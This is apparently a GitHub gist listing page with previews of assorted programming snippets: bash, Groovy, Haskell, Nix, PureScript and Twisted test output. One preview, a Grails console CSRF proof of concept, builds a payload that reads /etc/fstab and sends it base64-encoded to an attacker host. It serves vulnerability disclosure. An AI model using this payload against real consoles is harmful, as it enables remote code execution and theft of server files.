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@berdario
berdario / gist:da882abe5ba77533edf7f43872b8b80e
Last active Oct 12, 2016
How to write to a file in bash without reopening the file multiple times
View gist:da882abe5ba77533edf7f43872b8b80e
exec 3> /tmp/foo
echo "1" >&3
echo "2" >&3
exec 3>&-
View -
twisted.mail.test.test_imap
AuthenticatorTests
testCramMD5 ... [OK]
testFailedCramMD5 ... [OK]
testFailedLOGIN ... [OK]
testFailedPLAIN ... [OK]
testLOGIN ... [OK]
testPLAIN ... [OK]
ClientCapabilityTests
test_categoryAtoms ... [OK]
View Bar.groovy
package foo
class Bar {
static final map = foo
static final foo = [1,2,3]
}
@berdario
berdario / poc.html
Created Aug 8, 2016
Grails console CSRF proof of concept
View poc.html
<html>
<body>
<script>
consoleUrl = 'https://victim.example.com/path/to/console'
attackerHost = 'http://localhost:7979/'
code = `new URL('${attackerHost}'+new File('/etc/fstab').bytes.encodeBase64()).getText()`
code = `evaluate new String('${btoa(code)}'.decodeBase64())` // optional, useful to transmit the payload as a GET argument
function newFrame(content){
@berdario
berdario / foo2.hs
Created Jul 22, 2016
Constant Applicative Form sharing/evaluation (will get different output in ghci or when compiled)
View foo2.hs
foo :: String -> IO ()
foo dummy = do
let (x, y) = (1, 1)
(x, y) <- pure $ (trace "x" (x+1), (trace "y" y*3)
print $ show (y + y) <> dummy
print $ show (x + x) <> dummy
foo2 x = foo (trace "outerfoo" "foo")
foo3 xs dummy = print $ show (map (+1) xs) <> dummy
@berdario
berdario / foo.hs
Created Jul 22, 2016
State monad does not force ordering
View foo.hs
import Control.Monad.State (execState, get, modify)
import Debug.Trace (trace)
foo :: IO ()
foo = do
(x, y) <- pure $ flip execState (1,1) $ do
(x, y) <- get
modify (\(x, y) -> (trace "x1" (x+1), (trace "y1" y)))
(x, y) <- get
View default.nix
{
master = pkgs.python35Packages.buildPythonApplication (inputs // {
preUnpackHook = ''
PDIR = $(pwd)
echo "qui: $PDIR"
cd $(mktemp -d)
git clone $PDIR .
export sourceRoot="./checkprices"
'';
checkPhase = "env MYPYPATH=$PWD/stubs py.test";
View logical.nix
let
pkgs = import ./channel.nix;
foo_project = import foo/default.nix;
main_service = cmd: {
wantedBy = [ "multi-user.target" ]; # Specify that the system wants this service to run.
after = [ "network.target" ]; # Start the webserver after the network has come up.
serviceConfig = {
ExecStart = cmd;
User = "nobody";
View existential.purs
import Data.Exists
data Showable_ a = Showable_ a
data Showable = Showable (Exists Showable_)
instance showable_ :: (Show a) => Show (Showable_ a) where
show (Showable_ x) = show x
instance showable :: (Show (Showable_ a)) => Show Showable where
show (Showable v) = runExists show' v